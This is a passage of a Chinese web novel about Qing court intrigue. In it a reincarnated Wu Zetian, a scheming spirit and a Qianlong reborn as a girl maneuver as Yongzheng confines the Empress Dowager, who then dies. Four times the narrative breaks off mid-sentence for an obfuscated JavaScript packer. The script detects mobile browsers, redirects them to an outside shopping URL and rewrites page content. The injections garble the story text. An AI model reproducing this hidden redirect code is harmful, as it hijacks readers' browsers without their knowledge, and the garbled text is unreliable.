“五阿哥除了年纪还小,其他都是上上选。” 雍正目光落在弘宜生母身上:“皇贵妃以为如何?” “奴才只可惜四格格并非男儿身,若她是男儿身,弘宜必不及万一。” 武曌故意夸妞妞。 站在熹妃身旁的妞妞闻言,喜上眉梢。 [年氏倒也识货,竟能看出朕的才学远胜皇阿玛给朕生的所有兄弟姐妹们,唯一的短板是女儿身……将来与她合作夺权必然精彩连连……] “妞妞?” 雍正闻言却沉下脸:“终究是女儿家。” “皇上——” 武曌低头,做出怜惜姿态。 爱新觉罗·弘历·宝珠则在心中燃起熊熊烈焰。 [可恶!朕这辈子不幸成了女人竟然要受如此多的折磨苦难!太可恶了!要尽快上位……万一朕直到十五岁还没有掌握权力,就很可能被嫉妒朕的能力的兄弟们联手送去蒙古和亲,到时候叫天天不应叫地地不灵!朕的才学和能力都要浪费在荒野!还怎么……] 妞妞越想越愤怒。 她如今已经十一岁,至多再过三年,婚事就会搬上议程。 换而言之,她必须在三年内掌握一定的权力,确保自己不会被送去蒙古和亲! [朕该怎么办……朕要怎么才能……] …… …… [乾隆方才的样子可真是太精彩了,因为这一世是女子,不得不事事算计烦恼,生怕一不留神就被嫉妒自己才华的兄弟们送去蒙古和亲~] 从慈宁宫返回的路上,武曌难掩兴奋。 [雍正也是可笑,一边迫于孝道不得不低眉顺眼地对待皇太后,一边又因为皇太后的行为严重触犯自身利益而对她恨之入骨,怕不是很快就要——] 【权力本就具有绝对排他性,何况雍正与德妃的关系一直不好。】 凤龙托腮,洋洋得意。 【于是我只是轻轻几句挑拨,就让雍正再也无法容下一再偏心的德妃~至于乾隆,这家伙前世是纯粹的政治动物,这辈子因为性别为女对权力的欲望甚至比前世更浓郁~只要我轻轻一拨,乾隆的心就会被欲望蒙蔽,做出最狠毒但也最对己有利的事情~】 [你要撺掇乾隆弑父?] 【我会将其中利弊全部告诉她,至于她最终怎么选……】 凤龙露出优雅又可疑的笑容。 武曌会意,微微一笑。 …… 妞妞跟随熹妃回到后宫,看着熹妃的温顺面容,心中百般不是滋味。 前世,她是可以继承皇位的四阿哥弘历,自小拥有胜过所有兄弟的才学,皇阿玛刚登基就把他的名字写在秘密立储的诏书上,储君之位稳如磐石,因此,生母性格温顺柔和对前世的自己而言是好事——太后性格温顺柔和,不会生出干政的心。 然而这一世—— 现有的宗法制度下,再优秀的格格也没法名正言顺的继承皇位,生母又是个不懂得争宠的温顺性情,偏偏自己…… 【想要皇位?为什么不效仿唐朝的太平、安乐公主,让自己成为皇太女?】 凤龙适时出现,温柔的声音拂过妞妞因权力而痛苦的灵魂。 [皇太女……] 【前世的你和西方多有接触,应该知道西方普遍存在女王登基这类事……当然,以大清现在的情况,短期内想要修改宗法制度让女性获得继承权是几乎不可能的事情……】 [你说得没错,朕确实在为这件事心烦意乱……] 妞妞皱紧眉头,标志的脸蛋沁出不符合年龄的压抑与严肃。 【所以我才给你出主意……首先你要想办法让自己留在京城,至少不能被送去蒙古和亲,其次,你要获得一定的权力,不论是通过自身能力还是借助额驸的家族力量……如此稳扎稳打,你才有可能获取权力……】 凤龙在妞妞耳边窃窃私语,每句话都戳中妞妞的心坎。 【前世的你是十全老人、乾隆大帝,这一世的你也一样可以成为乾隆大帝……以女人身份登上皇位,年号为‘乾隆’的乾隆女帝……】 [乾隆女帝……] 【比起前世,这一世的你的道路或许会有些曲折,但以你的能耐,一定会很快找到解决一切拦路障碍的办法!】 [朕的能耐……] 妞妞翘起嘴角。 前世的自己可是权力游戏的顶级高手,这一世即便因为性别暂时处于劣势,也不可能被弘时、弘昼这种废物打败。 唯一可能成为敌人的弘宜现在还是个孩子,而且—— 弘宜的母亲年皇贵妃显然不是省油的灯,这个女人对权力的欲望怕不在自己之下! [联合年皇贵妃夺权,然后再和成为圣母皇太后的年氏争夺最后的权力,至于弘宜……我们分出胜负之日,就是他小命不保之时!] 妞妞洋洋得意地想着。 一切都是那么轻松快意,只要迈出第一步,接下来是第二步、第三步…… 【前世的你能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954312|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够成为乾隆大帝,这一世的你自然也可以……】 凤龙进一步鼓励并引诱妞妞。 妞妞垂下眼睑,长睫毛投下阴影,完全遮住眼睛。 …… …… 自古君无戏言。 既然答应了太后让允禵回京,雍正自然不会出尔反尔。 半个月后,允禵如太后所愿回到京城,拜见皇帝完毕立刻前往慈宁宫见“大病初愈”的太后。 太后乌雅氏费尽手段终于把心爱的小儿子从守皇陵的苦差事中解救,见到允禵时,顿时泣不成声,抱着允禵悲切哽咽:“允禵……允禵……我的好儿子……我……我终于把你弄回京城了……” “皇额涅此言……难道……” 允禵大惊:“皇上知道吗?” “他知道又怎样!无论如何,我都是他的皇额涅,孝悌之道,他不能不遵守!” 太后乌雅氏理直气壮。 允禵道:“可是万一……” “允禵放心,只要我还有一口气在,他不敢把你怎么样!何况——” “何况什么?” 太后乌雅氏低头,贴着允禵的耳朵用极低的声音说道:“他未必能活得过我。” 允禵大惊,面色惨白:“皇额涅……这……这种事情……” “皇额涅只想做你的太后,即便此事已注定不可能,也……” 太后长叹一声,又一次低头附耳:“先帝的传位诏书本就……先帝确实喜欢过皇上,但远没有喜欢到可以给皇位的地步,畅春园那日的事情……我思来想去整整三年依然觉得其中另有蹊跷……总之,京城或许会有大变化,但不论发生多大的事情,允禵都不要慌张,天大的事有皇额涅为你顶着!” “皇额涅——” 允禵泪流满面。 他被皇额涅的深情感动,同时也感到莫名的恐惧和不安。 如果…… 不会的! 不会的! 那样的事情一定不会发生的! …… 傍晚,允禵从慈宁宫踉跄走出,立刻有奴才将此事禀告皇帝。 “皇额涅和十四弟果真是深情母子,久别重逢哭成一片,直到傍晚时分都没有止住眼泪!” 雍正冷飕飕地嘲讽着,越发无法容忍太后的偏心。 但他毕竟是儿子,要对母亲尽孝道,哪怕心中对母后的种种行为早有不满甚至欲除之而后快! [如果朕不是她的儿子,她不是朕的亲额涅……如果那个荒诞的传言确有其事……如果……] 雍正眯眼,眼中流过阴郁的光芒。 [或许……朕确实应该做一些事情……预防未来可能发生的不幸……毕竟太后已经表明态度,十四弟也对她的行为充满默许的心态,而朕作为天子又怎么可能眼睁睁看着他们作乱!为了大清江山的千秋万代,为了皇阿玛传位给朕的绝对正确,为了……] 雍正抬头,做出艰难的决定。 “皇额涅大病初愈,需要静养,朕决定从明日开始禁止闲杂人等进出慈宁宫,即便是朕的亲兄弟要进慈宁宫也得拿着朕的手谕!” “嗻!” 89.母子冲突 “皇上这是……” 得知雍正下令禁止闲杂人等进出慈宁宫,皇后乌拉那拉氏惊讶不已:“后宫妃嫔依规矩需每日前往慈宁宫请安,皇上下此禁令,我等——” “妹妹们正是不知所措,因此齐聚此地请求皇后娘娘给我们拿主意。” 齐妃一脸无奈地看着皇后。 皇后看向年世华:“皇贵妃妹妹怎么看?” “妹妹以为——皇上如今正在气头上,我等贸然前去询问,不仅问不出结果还可能被皇上斥责,骂我们蠢笨、不知礼节。” “那该如何?” 乌拉那拉氏揉了揉太阳穴。 与太后乌雅氏关系不睦的她其实巴不得从此不再每日早晚都领着后宫妃嫔们前去慈宁宫请安问礼、听太后的揶揄嘲讽,但是—— “皇上可以气头上说气话,我们可不能因此就疏忽了对太后的礼节。” 熹妃钮祜禄氏小心翼翼提醒众人。 皇后想了一下,道:“熹妃妹妹说得很有道理,今日以后,我们依然该怎么做还是怎么做,除非……除非皇上正式下旨……” “皇后英明。” 众人行礼,退出。 皇后靠在榻上眯眼,心中暗道:历史直播天幕说太后乌雅氏将于年内因病逝世,可她的身子骨这几日分明还硬朗,前段时间的病危也被证实是……难不成…… 想到某种可能,乌拉那拉氏忍不住打了个寒颤,随即双手合十不断诵念:“阿弥陀佛,罪过罪过……” …… …… 慈宁宫被皇帝亲自下令限制进出的噩耗很快传到允禵处。 经过这几年的摧残折磨内心早已是惊弓之鸟的允禵大惊失色,连忙入宫求见:“皇上!皇上!” “什么事?” 雍正抬头,故作诧异。 允禵苦笑道:“臣弟想向皇上讨一份进出慈宁宫的手谕。” “太后身体不适,需要长期静养。” “臣弟是——” 话到半截,允禵意识到不妙,赶紧改口:“臣弟是担心皇额涅的身体,才想向皇上讨一份手谕方便进出慈宁宫。” “太医说太后如今身体虚弱,不能见让她情绪激动起落之人。” “皇上——” “不要再说了!” 雍正打断允禵的话:“太后是你的皇额涅,也是朕的皇额涅,你对太后有一片孝心,朕对太后难道就没有孝奉之心?” “皇上,臣弟只是想……” “下去吧。” 雍正下逐客令。 允禵苦笑着起身,退出养心殿,被等候在外的允祥将一切都看在眼中。 …… 允禵走后,允祥入养心殿:“臣弟叩见皇上——” “十三弟你腿脚不方便,不用行此大礼。” 雍正示意太监扶允祥起身入座。 允祥谢恩后坐下,眼神颇为闪烁不安。 雍正见状笑道:“十三弟此刻心里可是想着十四弟和太后的事情?” “皇上——” “太后对十四弟的偏爱,朝野内外人尽皆知,”雍正慢悠悠地说道,“朕不是个不通人情的怪物,但是太后为了十四弟所做种种早已超出了朕的接受范畴,让朕不禁担心她的内心深处是否有意效仿赵姬!” “皇上!” 允祥大惊,慌忙起身:“臣弟愿以性命担保,太后绝不会做出有损皇上和江山社稷之事!” “你不是皇额涅的亲骨肉,你怎么知道皇额涅的心中从未想过危害朕和江山社稷?” 雍正露出悲伤神情:“朕相信太后曾经对朕有过感情,但朕如今已经……朕是天子!是大清的皇帝,朕不希望祖宗传下来的江山受到一丝丝的损伤!” “——臣弟明白了。” 允祥见雍正心意已决,默默低头。 雍正露出比哭还难看的笑容。 …… …… 慈宁宫内,太后面色凝重:“皇上这是什么意思!竟然要限制慈宁宫的进出!” “回太后的话,皇上是想请太后好生歇息养病,绝无冒犯太后的意思。” “可他现在正在做的事情就是限制!” 太后乌雅氏面若寒霜:“立刻去养心殿让皇帝来见我!或者,我亲自去养心殿见皇帝!” “太后——” “你也敢拦我?” 乌雅氏眼中露出杀气。 苏培盛陪笑道:“奴才就是有一百个胆子也不敢对太后有丝毫冒犯,只是……” “只是什么!我现在就要见到皇帝!要他当面对我说清楚!” 太后气势汹汹。 苏培盛无奈,只能陪着小心谨慎伺候太后前去养心殿。 …… 通往养心殿的路上,太后的肩辇遇上了皇贵妃的出行队伍。 见到太后,武曌当即停下辇车,对太后款款行礼:“奴才给太后请安,不知太后傍晚出行有何缘故?” “哀家要去养心殿见皇帝,当面问清楚一些问题!” 乌雅氏态度异常强势。 一旁凤龙见状,露出坏笑。 【猜猜看,他们这次见面会不会吵架?】 [铁定会发生的事情,没必要猜测。比起他们会不会吵架,我更好奇此次争吵过后会发生什么?以及——乌雅氏究竟是被杀还是自杀?] 【果然,被你发现了。】 凤龙捂嘴嗤笑,笑容透着深刻入骨的讽刺。 【冰冻三尺非一日之寒,偏偏这两个人都不愿承认自己有错,不愿对另一方低头,因此两人还间的矛盾注定越积越深,直到积重难返,你死我活……而现在正是最关键的时候……当然,对你而言,这是一场难得的机会~】 [你要我乘机——] 【根据我对你们人类社会的观察,发现人类男性对妻子的设想是——她既要履行妻子的义务,理解他、取悦他、为他生儿育女,又要像女儿一样时不时对他活泼撒娇、博取欢心,最后还得像母亲一样照顾他、包容他、宠爱他。】 [明白了。] 武曌瞬间会意,主动请求陪太后同去养心殿。 太后以为皇贵妃妄想趁机讨好自己,懒洋洋道:“你想去就跟在后面吧!” “谢太后。” …… 太后亲自驾临养心殿,贵为皇帝的雍正不得不上前行礼:“儿子给皇额涅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977438|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请安——” “皇帝,我有一件要紧事必须当面得到你的答复。” 太后咄咄而来,不等雍正起身便质问道:“为什么限制慈宁宫的进出?你想软禁太后吗!” “儿子不敢,儿子下这道命令纯粹是担心太后的身体。” “担心我的身体?我的身体——” “太后前些日子身体不适,危在旦夕,如今也是大病初愈,身体虚弱,应在慈宁宫中安心修养。” 雍正侃侃而谈,目光主动避开太后的视线。 太后愤怒,强调道:“这不是你禁止闲杂人等进出慈宁宫的理由!我身为太后没有资格和外界沟通往来吗!” “儿子从未限制太后与外界沟通往来,儿子只是希望闲杂人等不要打扰太后静养。” 雍正看着太后,眼神冰冷。 “住口!” 太后难忍怒火,喝道:“允禵可是你同父同母的兄弟,为什么也被算进了闲杂人等?!” 雍正闻言,抛出早就准备好的回答:“太后每次见到十四弟都会忍不住情绪激动,影响身体修养,所以儿子自作主张,将允禵也列入不能随意进出慈宁宫的名册中。” “皇帝——” 太后气得火冒三丈:“你纯心气死哀家对不对!” “儿子不敢,儿子对皇额涅一片孝心可昭日月,儿子……” “你给我住口!住口!你其实巴不得我快点死掉,还有你十四弟!因为你心虚!你的皇位是从你十四弟——” “太后!” 武曌适时上前,哀求道:“请太后慎言。” 众人闻言也都齐刷刷跪下:“请太后慎言。” “慎言?” 太后抬头,痛苦地看着雍正:“果然,我猜中了真相!你的皇位来历……” “皇额涅!” 雍正打断太后的话,强调道:“先帝在畅春园内当着众位宗亲大臣的面亲自宣布传位与朕,请太后勿信谣言,以讹传讹,助纣为虐!” “畅春园传位当然不容有假,可你敢说你没有用卑鄙手段欺瞒先帝、让先帝误以为你比你的十四弟更适合继承大清皇位吗?” 太后一心维护小儿子,以至口不择言,字字句句直刺雍正痛处:“你总是装腔作势,在先帝面前做出孝顺有为的姿态,其实背地里没少搞阴谋诡计,手段狠辣堪比隋炀帝陷害废太子杨勇!我真是瞎了眼,竟然觉得亲兄弟间绝不会发生手足相残的事情,如今看来,到底是我太天真……我……我……” 说到这里,乌雅氏突感天旋地转,身体一沉,竟然—— 武曌快步上前扶住急火攻心竟然现场晕厥的太后,对雍正道:“皇上,太后累了,还请皇上立刻派人送太后回宫歇息。” “太后累了,送太后回宫歇息。” 瞬间回过神的雍正不耐烦地吩咐道:“从今往后,没有朕的手谕,任何人不得送太后离开慈宁宫!” “嗻!” 太监们齐声回答,大群人手忙脚乱地“送”太后乌雅氏返回慈宁宫。 武曌也做出回宫姿态,雍正却道:“皇贵妃留下。” “皇上——” “朕有些体己话想和你私下谈。” 90.三个人的选择 “皇上——” 武曌低头,假装谦虚。 雍正屏退左右,缓缓道:“若朕有不测,朝中谁可依靠?” “皇上何出此言?” 碍于后宫不得干政的规矩,武曌主动装傻:“难道……” “近来发生的一些事让朕心绪不宁,忍不住担心未来。” 雍正伸手,示意皇贵妃坐到身旁:“尤其是太后。如果朕有万一,弘宜年幼,皇后和你都是对朝政一窍不通的女流,年羹尧虽然能干终究双手难敌四拳……即便太后无意效仿孝庄太后,她身边也会围满希望借助她的太皇太后身份获取利益的卑劣小人……何况八旗王公中始终有人对朕口服心不服……” “皇上不要再说了!皇上洪福齐天,一定能长命百岁!” “朕当然希望朕能够长命百岁,可是寿命这东西从来天注定,半点不由人。” 想到太后最爱的允禵比自己年轻整整十岁,雍正的心情越发压抑扭曲:“朕必须做好最坏的打算,将所有万一的可能扼杀在摇篮中。” “不论皇上做出什么决定,奴才都会忠于皇上,跟随皇上的脚步。” “朕相信你。” 雍正心满意足地点了点头。 倒不是说秉性多疑的他彻底相信了年世华的忠诚,而是—— 以年氏一族如今的情况,想得到更高更多的权力就必须毫无保留地依附自己,尤其是年世华。 “好生教导弘宜,他是大清的未来,至于弘时和弘昼……他们虽然难成大器终究也是朕的骨肉儿孙,即便不能成材也不可以成废物!” “奴才一定将弘时和弘昼都视若己出,竭尽所能地教导。” “你是个聪明又懂事的女人,可惜……可惜朕遇见你的时候,终究还是太晚,否则……朕或许能给你皇后之位——” “皇后姐姐才德兼备,胜奴才百倍。” “真的吗?你真的觉得皇后处处比你强?” “皇上——” 武曌抬头,坚定地表示:“奴才以为,皇后数十年如一日辅佐皇上,与皇上同甘共苦,没有功劳也有苦劳,皇后之位实至名归……” “果然是个贤德的女人。” 雍正露出欣慰的笑容,挥手示意皇贵妃退下。 “奴才告退。” …… …… 出了养心殿,憋不住的凤龙悬在半空哈哈大笑。 【皇后才德兼备!同甘共苦!没有功劳也有苦劳!实至名归!不愧是你,睁眼说瞎话的时候一点都不心虚!】 [那你觉得我该说什么?说皇后心思狠毒,才疏学浅,对后宫的事情漠不关心,应该赶紧废后让我成为皇后?] 武曌嘲讽反问。 【这个……确实……男人这东西骨子里是吃软不吃硬的,尤其是今天这种时候。如果你顺着他的言语暗示不断数落皇后的不足之处,反而可能让他想起往日与乌拉那拉氏的相濡以沫,认为你是个恶毒刻薄的女人……但是你假装没听懂他的暗示,夸赞皇后的优点……】 [以乌拉那拉氏的能耐,即便成为母后皇太后也没有资格和我这个圣母皇太后下棋,我自然不介意在雍正面前做个顺水人情,保持后宫的一团和气,但是弘历或者说妞妞……一旦大局稳定,我们之间就是不死不休的局面!] 武曌轻抚珐琅护甲。 [未来的她将是我最大的威胁。但在当下,她却是我最好的盟友。] 【没有永远的朋友,只有永恒的利益?】 [嗯。] 武曌肯定回答。 凤龙闻言,叹了口气。 【人类的生命不到百年,因此即便目光远大,能够看到的也只是百年后的世界,为了百年大计耗尽心血……】 [你觉得这事很愚蠢?] 【不,我不觉得这很愚蠢,相反,我认为这很伟大——生命在有限的时间内竭尽所能地绽放,这才是生命存在的真正意义。】 [那长生不老——] 不知为何,武曌突然想知道凤龙对追求长生不死的人和获得长生不死的生命的看法。 【生命对长生不死的追求源于对死亡的恐惧,然而生命面对死亡的一切抗争都注定徒劳无功,因为死亡与生命是一体的,死亡是生命的意义,是生命的祝福,是生命的真相,接受了生命就必须接受死亡。】 [那你——] 你不是永生不死吗? 武曌好奇地看着凤龙。 凤龙微微一笑,手指在空中画了一个圆。 【所谓永生不死本质是生与死的完全闭环,所以我是永生不死的,但又可以被认为永死不生。】 [我……] 武曌感到费解,脑海中隐约间有一些奇妙的东西闪过。 【当你明白何为生与死的闭环,你就能真正理解生与死、毁灭与再生的无尽循环。世间万物都处于这样的循环中,所有个体都拥有自己的循环同时也是名为宇宙的大循环的一部分,而我则隶属于比你们的宇宙大循环更高维度的循环……】 [我……我……] 【这些东西对现在的你而言确实有些过分费解,我们还是静下心来继续讨论如何从雍正手上夺取权力这件事情吧~】 [你说得很对,宇宙大循环这么复杂遥远的东西对于当下只有百年生命的我而言确实有些太遥远……] 武曌深以为然地点点头,内心想的却是—— 长生不死的真相竟然是生与死的闭环? 怎么才能得到长生不死? …… …… 太后被皇帝以“养病”的名义软禁慈宁宫的消息很快传出紫禁城,王室宗亲人人自危,同时也深切意识到太后与皇帝之间存在不可调和的矛盾。 “现在怎么办?皇上和太后之间,我们……” “怎么办?当然是假装什么都不知道!母子间的事情哪有我们插嘴的份!” “可这件事涉及到江山社稷,万一十四爷那边……或者皇上……” “你不要脑袋了!竟然敢讨论这种事情!” “……” 想到惊恐处,宗亲们纷纷闭嘴。 身为风暴中心之一的允禵更是寝食难安,日夜忧愁。 “现在该怎么办!万一皇上怀疑太后对我……到时候……” 好不容易才从皇陵回到京城的允禵心急如焚,连夜跑到八哥允禩处求主意。 然而允禩经过这几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006723|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蹉跎璀璨,深知其中厉害,任允禵敲破大门也拒不开门接待。 允禵无奈,只得转头向其余兄弟求助,结果却是无一例外地吃了闭门羹。 天亮时,允禵失魂落魄地走在京城的街道上,眼神空洞,内心冰凉。 “该怎么办!我现在该怎么办!我要怎么才能不被皇上和皇额涅的争斗波及……我……难道我……我真的只能……” 徘徊许久,允禵终于鼓足勇气,走进紫禁城。 …… “皇上,十四爷求见。” “哦?” 雍正抬头,眼神晦暗深邃:“他来做什么?” “说是来向皇上请辞。” “请辞?” 雍正唇角泛起冷笑:“传他进来。” “嗻。” 苏培盛退下,将允禵带到雍正面前。 “允禵拜见皇上,愿吾皇万岁万岁万万岁!” 行礼完毕,允禵抬头,面色憔悴,嘴唇惨白。 雍正心中暗喜,嘴上却柔声道:“允禵,你是不是遇上了麻烦?为何如此憔悴苍白?” “皇上……允禵……允禵请求皇上让允禵去皇陵尽孝……先帝在世的时候对允禵多有宠爱,允禵觉得自己应该……应该……” 允禵的嘴唇一个劲地哆嗦。 雍正闻言,露出慈爱的笑容:“你要去皇陵为皇阿玛尽孝?” “是。” “你可知道素来爱你的皇额涅如今病重,随时可能——” “所以允禵才请求皇上让允禵去皇陵为皇阿玛尽孝,同时也是为皇额涅、皇上还有大清的千秋万代祈福增寿。” 允禵强忍着心痛乞求雍正:“皇额涅若是知道允禵去皇陵是为皇阿玛尽孝、为皇额涅祈福,绝不会不答应。” “绝不会不答应?” 雍正一声冷笑,走到允禵身旁:“你是朕的同父同母兄弟,也是皇额涅最喜欢的儿子,如今主动请求去皇陵尽孝祈福,朕不能不答应,只是此去千山万水怕不是要多年后才能再见面,朕……朕决定现在就送你去慈宁宫和皇额涅告别!” “谢皇上恩典!” 允禵哽咽着,含泪谢恩。 雍正挥手,让奴才们领允禵去慈宁宫和太后告别。 …… “允禵?” 太后乌雅氏被软禁慈宁宫多日,突然再见最爱的小儿子允禵,顿时生出恍如隔世的不真实感:“我不是在做梦吧?真的是允禵你吗?” “皇额涅,在您面前的确确实实是您的允禵。” 允禵抬起头,用脸颊摩挲太后的手,小心翼翼地将自己即将去皇陵尽孝祈福的事情告诉皇额涅。 乌雅氏静静听着,晶莹的眼泪从浑浊的眼中缓缓流出:“原来如此……原来如此……允禵,你做了个正确的选择,反倒是皇额涅……不知分寸拖累了你……去吧,皇额涅以后不会再……再……” “皇额涅——” “送十四爷出慈宁宫!” 太后突然抬高声音。 “皇额涅——” “你敢不听我的话?” “儿子不敢!” 允禵无奈,告退完毕后,一步三回头地走出慈宁宫。 91.太后驾崩 “太后驾崩!” “太后驾崩!” “太后驾崩——” 太监尖细高亢的声音在紫禁城中此起彼伏,宣告太后的不幸离世,传到正在养心殿批阅奏章的雍正耳中。 “太后……皇额涅……居然……居然……” 震惊中,御笔落地,朱红墨汁落在奏章上,晕开成大片如血的红。 “皇额涅……皇额涅……竟然……朕……难道真是朕做错了什么才……才会……” “皇上节哀!” 伺候养心殿的一众宫女、太监跪地轻声劝慰。 雍正抬头,眼中有泪光闪烁:“朕……朕……朕心里面难受……朕心里难受得紧,皇额涅竟然……为什么皇额涅要……要……” 摇晃间,雍正倒下。 养心殿内顿时乱做一团。 …… …… “太后升天,皇上因悲伤过度而晕倒?” 得知此事,武曌赶紧用手帕擦拭眼角确保流出眼泪,并换上重孝服饰前往慈宁宫——不论内情为何,皇太后驾崩,身份是后妃的自己必然要毕恭毕敬地处理每件事,以免落人口舌。 【万一乌雅氏的死真的另有内情?】 [倘若另有内情,那就更要风光大办,显出十万分的孝心。] 【为什么?】 凤龙不懂。 [因为世上能让太后死的不明不白的只有皇帝。寻常人家尚且不敢背负不孝的名声,何况贵为天下表率的皇帝?哪怕是为了堵天下悠悠之口,雍正也绝不可能让别人看出太后之死与他有关。所以啊——] 【所以什么?】 [这场葬礼必定无比繁琐累赘,还会有不少人因此掉脑袋。] 武曌摸着为和孝服搭配特意换上的银护甲,神色凝重。 …… 如她所料,为了向天下人表现自己的拳拳孝心,好不容易醒来的雍正一反往日节俭作风,为太后举行的丧礼极尽奢华之能事,不仅后妃们全部去慈宁宫日夜跪拜表达哀思,满朝文武官员凡是在京的也都必须挨个入宫吊唁,地方官员则在各自的府衙官邸为太后服丧哀悼一整月。 一时间,满城缟素,人人含泪,雍正看着如雪花般飘飞的白纸,嘴角终于有了些许欣慰。 “皇额涅,朕虽然不是你最喜欢的儿子,却给了你全天下最体面的葬礼,朕……朕这个儿子还算孝顺吗?” “皇上,人死不能复生,还请节哀。” “节哀?” 雍正回头,嘲讽地看着劝他节哀的皇后:“那可是朕的皇额涅!” “皇上——” “话说回来,皇额涅的身体直到驾崩前几日都还硬朗,怎么突然间就……这其中到底发生了什么!为什么会——” “皇上,您该不会是怀疑……” 皇后乌拉那拉氏眼神有些慌张——她与雍正多年夫妻,岂能不知对方的某些心思? “皇额涅那么爱护他,甚至不惜……朕自然不敢继续深究此事,万一真相确如朕所想,岂不愧对皇额涅的在天之灵?但要朕完全不深究、不怀疑、不思考这些疑点,也是万万不可能。” 说到这里,雍正一声叹息:“这或许是皇额涅留给朕的最后一道难题。” “皇上天纵奇才,一定会找到破局的办法。” 听出雍正的弦外之音的皇后软声宽慰。 雍正摇摇头,走进到处都是飞舞的白色的慈宁宫,在众人的跪拜中完成今日份的对太后的焚香祭奠。 没人知道拜祭太后时皇帝内心深处真正的想法,当然,也没人敢问他。 …… …… 拜祭结束后,雍正没有立刻返回养心殿处理政务,苛刻的目光审视着前来参加拜祭的每一个人。 人们感受到皇权的强势与压抑,纷纷俯首帖耳,唯恐一时不慎惹来皇帝暴怒。 然而,雍正此刻本就是刻意找茬,跪在下方的每个人即便赔上无数的小心谨慎也不可能不被找到错处,除非皇帝不想找你的错。 因此,正是气头上的雍正一路走过去,不知多少人挨了训斥责备,更有人被降职罚俸,还不得不跪地谢恩,痛哭流涕。 [瞧他这怒火攻心的模样,怕不是真在乌雅氏之死的事情上严重心虚。] 武曌暗暗嘀咕。 【心虚好,心虚才能让我们乘机得到最大的好处。】 凤龙狡黠一笑,走到雍正身旁。 【惩罚这些小角色又有什么意思?乌雅氏是为了保住允禵,只有允禵受到伤害,乌雅氏的在天之灵才会痛苦难受!】 [在天之灵……人死以后真的有灵魂吗?] 雍正困惑不解。 和世间其他人一样,即便贵为皇帝,他也一样对死亡以及死后的世界充满未知的恐惧。 [皇额涅她……如果朕对允禵做些什么,皇额涅她的在天之灵会感到痛苦吗?会因此报复朕吗?她……她……] 【死就是死,生就是生。所谓灵魂不过是生前残留的还未散逸的记忆的集合体,能感受到生的某些东西,但无法对生的世界做任何事情。灵魂确实可能转世重生,但不是每个灵魂都重生。至少乌雅氏的灵魂做不到。软弱顽固的她无法以灵魂的形态长久存在,不用一年时间就会彻底消散在天地间。】 [什么样的灵魂能够转世重生?] 雍正无比好奇地询问。 凤龙微微一笑。 【拥有强大力量的灵魂。】 [拥有强大力量的灵魂?什么样的强大才是灵魂的强大?朕的灵魂是否是强大的能够重生的灵魂?朕……] 【等你经历死亡时,你就会知道答案。】 凤龙敷衍着雍正。 雍正此时虽年过四旬,却也从未想过死亡,闻言自然不再多问,漫步走向肩辇,心中所想无非是如何处理朝政大小事务以及借着太后驾崩收拾看不顺眼的宗亲们。 走着走着,雍正突然感觉眼前发黑,身体不受控制地冲向地面。 “——皇上悲伤过度!晕倒了!” …… …… “皇上?皇上?” 殷切温柔的呼喊声传来,雍正缓缓睁开眼睛,看到皇后为首的多位后妃正眼泪汪汪地守在他身旁,身后是神色忧郁苦闷的阿哥们。 “朕……朕……” “皇上悲伤过度晕倒,已经昏迷了将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014725|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近三个时辰。” 皇后边说边擦眼泪。 “朝中大小事情……” “回皇上,怡亲王领着文武大臣都在养心殿外候着呢。” “候着……那就是事情没人处理的意思……” 雍正板下脸,呵斥道:“朝廷大事岂能随意耽误!你们真是——扶朕起来!” “皇上……” 后妃们嘤嘤哭泣:“太医说您身体虚弱,醒来以后要好好休息不可劳累——” “朕躺下休息,天下人怎么办!朕一日不处理朝政,积累的问题足以让数以万计的人的生计陷入混乱!孰轻孰重,你们不懂吗!” 呵斥脱口而出,说完雍正才想起后宫不得干政,苦笑道:“你们是妇道人家,本也不懂大道理,是朕对你们苛刻了。” “皇上……” “罢了罢了,你们都下去吧,朕……” 雍正叹了口气:“朕要立刻处理堆积的奏章!” “可是——” 